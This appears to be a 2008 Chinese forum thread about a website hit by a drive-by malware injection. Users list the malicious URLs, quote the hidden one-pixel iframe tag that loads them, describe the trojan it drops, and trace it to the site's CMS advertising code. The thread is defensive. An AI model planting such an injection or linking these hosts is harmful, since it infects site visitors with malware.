webmasterz.cn上的掛馬掛在哪了 我怎麼查了半天查不到？

請老大仔細的查查吧，剛又發現了幾個，全是免殺的~~一個勁的往外蹦，但是我的卡卡即不報~~
7 [8 N$ l- h5 E$ \9 B# e3 mhttp://ppp.749571.com/dm/test.htm
http://www.985676.cn/encrypt/mm.htm
( r) |/ U! b( l) u( Y( \- q* D. m這兩個是免殺的，還有幾個沒記下來，
5 z' @! Y! B/ t, e這掛馬的兔崽子有一手，隱藏的很好啊~~一般人都看不出來~

會在C盤下產生 CRESS1.EXE
然後增加IE的BHO的木馬 還釋放驅動

昏 他藏得好隱秘  找到了 放毒得地方了
1 c- K8 y+ E& I: F, H
iframe src=h t t p://w w w.9856 76.cn/encrypt/mm.htm width=1 height=1></iframe>
然後再這個地址轉到ppp.749571.co m/dm/test.htm
* }8 T9 w* X* h為了跟蹤這個病毒 自己失誤的。。。。哎。修復中ing。。。。
靜水趕快清理了吧

原帖由 20082008 於 2008-1-9 16:33 發表
6 L+ U( |" g" F* E沒裝REAL就沒事，好在我重新裝的系統:

說的沒錯

原帖由 freelzyr 於 2008-1-10 16:47 發表
進dede後台
3 `/ Z" @6 X! L- h7 e' R檢查 ad_js.php?aid=1  
6 j* ~1 z$ |5 T/ H7 C4 ead_js.php?aid=2
ad_js.php?aid=3
- J/ p1 S; x8 ~* F+ cad_js.php?aid=4
) m( c6 _8 ?0 h  p6 y4 l( W, d
這幾個廣告 裡面的代碼
在這幾個 掉茅廁位 裡面   含有 木馬的 代碼

1 j- \8 q( C4 ?& l+ ^3 B3 ^  H
這個檢查了沒有的

原帖由 靜水流深 於 2008-1-11 02:27 發表

( o/ z+ s2 J6 `, a
. Z! \3 e; O" _2 [這個檢查了沒有的

1 \; l" _$ E- u
: w$ u. @* ?1 n# b我看過了，有掛馬的代碼，代碼已經在你的另一個貼子裡貼出來了

原帖由 靜水流深 於 2008-1-11 02:27 發表

  v, N! H' {& s4 [7 h
這個檢查了沒有的

木馬就是在這裡裡啊
在後台的掉茅廁位設置那
* c# H& q# |- X- N裡

現在明瞭.
4 O# y+ j+ V! J9 ?  @( l有人收流量做ppp.749571.co m的..
* \5 g% B" ~# s$ x0 \最近被掛馬的話. 都改成js了. 不用iframe了

菜鳥,怕怕,不敢看,啥時好了說一聲,我再去看風景